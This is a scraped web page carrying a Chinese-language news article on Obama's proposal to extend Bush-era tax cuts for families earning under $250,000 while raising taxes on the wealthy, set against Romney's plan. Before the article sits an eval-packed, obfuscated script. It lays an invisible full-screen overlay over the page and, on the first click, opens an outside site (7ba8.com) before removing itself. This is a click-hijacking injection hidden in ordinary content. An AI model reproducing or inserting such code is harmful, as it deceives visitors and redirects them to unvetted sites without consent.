<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>美国总统奥巴马（Barack Obama）提议，将小布什政府时期所定对年收入不足25万美元的家庭实施减税的政策延期一年，同时对富有的美国人增税。奥巴马此举将选举辩论的话题转向了税率，同时也为与共和党人在国会摊牌做好了准备。
奥巴马此举并不算是新政，从本质上讲他只是为了大选而将现有政策进行重新包装。此举也不太可能为受大选牵制且分歧重重的国会做出行动铺平道路。
但通过强调自己打算对高收入美国人增税以解决赤字问题，同时促使共和党人重申其应给所有美国人减税这一截然不同的观点，奥巴马此举对于彰显两党在征税问题上的明显差异具有立竿见影的效果。将关注点放在就业问题上的总统选战模糊了民主、共和两党在税收问题上的分歧。
这是一场只能由选民投票来结束的辩论，而两党如能明确表示大选后会抛开有关税率问题的争论、就根本性的税制改革展开新的讨论，或许也有助于化解争论。
即将成为共和党总统候选人的罗姆尼（Mitt Romney）提出给所有纳税人减税，以此来刺激经济增长、促进就业。罗姆尼希望一开始能针对所有纳税人保留小布什政府制定的税收政策，然后在此基础上再减税20%。按照罗姆尼提出的方案，应税所得中可以扣减的项目将被削减，以抵消因减税而流失的税收。但罗姆尼没有明确指出哪些项目会被裁减。
奥巴马说自己提出这一建议是要促使国会在大选之年在税收问题上采取行动，通过此举奥巴马将有关税收问题的辩论包装成一个攸关社会公平的问题，他呼吁最富有的美国人履行自己“应尽的义务”以帮助国家降低财政赤字，并帮助美国对未来进行投资。
罗姆尼在接受电台采访时回应说，如果你想创造就业机会，那么对那些能够创造就业机会的人和小企业提高税率大概是我所能想象的最糟糕事情了。
白宫说，通过向全美最富有那2%的纳税人多征税，政府明年能增加650亿美元的收入。
根据奥巴马的计划，最高边际税率将从目前的33%和35%上升到36%和39.6%，两者分别针对的是经调整后家庭总收入高于25万美元的部分以及个人总收入高于20万美元的部分。
无党派研究机构税收政策中心（Tax Policy Center）估计，受此影响的纳税人约有125万 |
收藏